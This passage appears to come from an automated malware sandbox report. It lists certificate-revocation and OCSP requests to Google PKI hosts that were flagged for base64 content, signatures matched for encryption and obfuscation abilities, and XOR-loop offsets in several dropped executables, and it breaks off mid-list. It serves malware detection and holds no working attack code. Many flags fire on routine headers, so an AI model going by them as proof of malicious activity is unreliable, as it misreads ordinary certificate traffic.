/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "/wr2/9UVbN0w5E6Y" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/r1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/75r4ZyA3vA0" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/gsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/gsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/gsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/GSyT1N4PBrg" in header "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/we2/64OUIVzpZV4" in header "GET /we2/64OUIVzpZV4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /we2/64OUIVzpZV4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /we2/64OUIVzpZV4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /we2/64OUIVzpZV4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/oBFYYahzgVI" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/9UVbN0w5E6Y" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 20:56:19 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 20:56:19 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 20:56:19 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 20:56:19 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 20:56:19 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 07 Jul 2026 08:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 07 Jul 2026 08:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 07 Jul 2026 08:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 07 Jul 2026 08:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/GSyT1N4PBrg" in header "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 19:47:03 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 19:47:03 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 19:47:03 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 19:47:03 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 19:47:03 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/oBFYYahzgVI" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 23:03:41 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 23:03:41 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 23:03:41 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 23:03:41 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 24 Aug 2026 23:03:41 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog"30:T424,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Decrypted SSL network traffic Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains reference to crypto DLLs Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly]31:T61af,Found XOR loop in file "gF3mD54.exe" at offset 143535; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 157766; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 164250; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 221769; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 418969; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 455316; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 571013; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 601813; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 655709; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 656462; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 722168; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 779896; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 863147; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 906989; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 956308; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 999436; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 1007012; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 1103905; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 1173341; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 1221748; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 1351853; code bytes = 30d0 Found XOR loop in file "gF3mD54.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 213397; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 263770; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 270773; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 305695; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 445604; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 530386; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 691806; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 773680; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 919807; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 966810; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 1182596; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 1229574; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 1287535; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 1289467; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 1333142; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 1371577; code bytes = 33c1 Found XOR loop in file "gF3mD54.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 165795; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 176182; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 295575; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 387157; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 503265; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 664414; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 679692; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 811957; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 885957; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 957027; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 961675; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1044924; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1077446; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1116350; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1123277; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1166125; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1174572; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1235345; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1281319; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1281762; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1322981; code bytes = 8030 Found XOR loop in file "gF3mD54.exe" at offset 1337653; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 1184443; code bytes = 30d0 Found XOR loop in file "4em853cx.exe" at offset 1187237; code bytes = 30d0 Found XOR loop in file "4em853cx.exe" at offset 1189889; code bytes = 30d0 Found XOR loop in file "4em853cx.exe" at offset 187428; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 187600; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 187893; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 193780; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 193952; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 194245; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 216922; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 304236; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 325313; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 720663; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 885624; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 1176855; code bytes = 33c1 Found XOR loop in file "4em853cx.exe" at offset 155816; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 156212; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 156483; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 156890; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 356447; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 830956; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 845818; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 976246; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 1187204; code bytes = 8030 Found XOR loop in file "4em853cx.exe" at offset 1190542; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 323616; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 359938; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 475571; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 506363; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 560227; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 560980; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 626653; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 684357; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 767567; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 903837; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 911413; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 1008249; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 1077653; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 1126044; code bytes = 30d0 Found XOR loop in file "oi9NR71.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 168482; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 175485; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 210382; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 350226; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 434968; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 596316; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 678141; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 830070; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 871219; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 1086900; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 1157749; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 1185209; code bytes = 33c1 Found XOR loop in file "oi9NR71.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 200279; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 291812; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 407855; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 568932; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 584210; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 716410; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 790369; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 849544; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 866084; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 949301; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 981815; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 1020686; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 1027613; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 1070437; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 1078884; code bytes = 8030 Found XOR loop in file "oi9NR71.exe" at offset 1141572; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 949435; code bytes = 30d0 Found XOR loop in file "3Cf23Ki.exe" at offset 952229; code bytes = 30d0 Found XOR loop in file "3Cf23Ki.exe" at offset 954881; code bytes = 30d0 Found XOR loop in file "3Cf23Ki.exe" at offset 957281; code bytes = 30d0 Found XOR loop in file "3Cf23Ki.exe" at offset 187428; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 187600; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 187893; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 193780; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 193952; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 194245; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 216922; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 304236; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 325313; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 720663; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 941847; code bytes = 33c1 Found XOR loop in file "3Cf23Ki.exe" at offset 155816; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 156212; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 156483; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 156890; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 356447; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 830956; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 845818; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 952196; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 955534; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 956880; code bytes = 8030 Found XOR loop in file "3Cf23Ki.exe" at offset 958126; code bytes = 8030 Found XOR loop in file "ZF2zr63.exe" at offset 228096; code bytes = 30d0 Found XOR loop in file "ZF2zr63.exe" at offset 264402; code bytes = 30d0 Found XOR loop in file "ZF2zr63.exe" at offset 379978; code bytes = 30d0 Found XOR loop in file "ZF2zr63.exe" at offset 410746; code bytes = 30d0 Found XOR loop in file "ZF2zr63.exe" at offset 464594; code bytes = 30d0 Found XOR loop in file "ZF2zr63.exe" at offset 465347; code bytes = 30d0 Found XOR loop in file "ZF2zr63.exe" at offset 530987; code bytes = 30d0 Found XOR loop in file "ZF2zr63.exe" at offset 588667; code bytes = 30d0 Found XOR loop in file "ZF2zr63.exe" at offset 671821; code bytes = 30d0 Found XOR loop in file "ZF2zr63.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "ZF2zr63.exe" at offset 254698; code bytes = 33c1 Found XOR loop in file "ZF2zr63.exe" at offset 339383; code bytes = 33c1 Found XOR loop in file "ZF2zr63.exe" at offset 500658; code bytes = 33c1 Found XOR loop in file "ZF2zr63.exe" at offset 582451; code bytes = 33c1 Found XOR loop in file "ZF2zr63.exe" at offset 734291; code bytes = 33c1 Found XOR loop in file "ZF2zr63.exe" at offset 750521; code bytes = 33c1 Found XOR loop in file "ZF2zr63.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "ZF2zr63.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "ZF2zr63.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "ZF2zr63.exe" at offset 196316; code bytes = 8030 Found XOR loop in file "ZF2zr63.exe" at offset 312295; code bytes = 8030 Found XOR loop in file "ZF2zr63.exe" at offset 473282; code bytes = 8030 Found XOR loop in file "ZF2zr63.exe" at offset 488560; code bytes = 8030 Found XOR loop in file "ZF2zr63.exe" at offset 620696; code bytes = 8030 Found XOR loop in file "ZF2zr63.exe" at offset 694615; code bytes = 8030 Found XOR loop in file "Cb7yP98.exe" at offset 146386; code bytes = 30d0 Found XOR loop in file "Cb7yP98.exe" at offset 284188; code bytes = 30d0 Found XOR loop in file "Cb7yP98.exe" at offset 314948; code bytes = 30d0 Found XOR loop in file "Cb7yP98.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "Cb7yP98.exe" at offset 169360; code bytes = 33c1 Found XOR loop in file "Cb7yP98.exe" at offset 176895; code bytes = 33c1 Found XOR loop in file "Cb7yP98.exe" at offset 243618; code bytes = 33c1 Found XOR loop in file "Cb7yP98.exe" at offset 368057; code bytes = 33c1 Found XOR loop in file "Cb7yP98.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "Cb7yP98.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "Cb7yP98.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "Cb7yP98.exe" at offset 144809; code bytes = 8030 Found XOR loop in file "Cb7yP98.exe" at offset 184595; code bytes = 8030 Found XOR loop in file "Cb7yP98.exe" at offset 202948; code bytes = 8030 Found XOR loop in file "Cb7yP98.exe" at offset 216538; code bytes = 8030 Found XOR loop in file "5nB9ui9.exe" at offset 84290; code bytes = 30d0 Found XOR loop in file "5nB9ui9.exe" at offset 81028; code bytes = 33c1 Found XOR loop in file "5nB9ui9.exe" at offset 126512; code bytes = 33c1 Found XOR loop in file "5nB9ui9.exe" at offset 220855; code bytes = 33c1 Found XOR loop in file 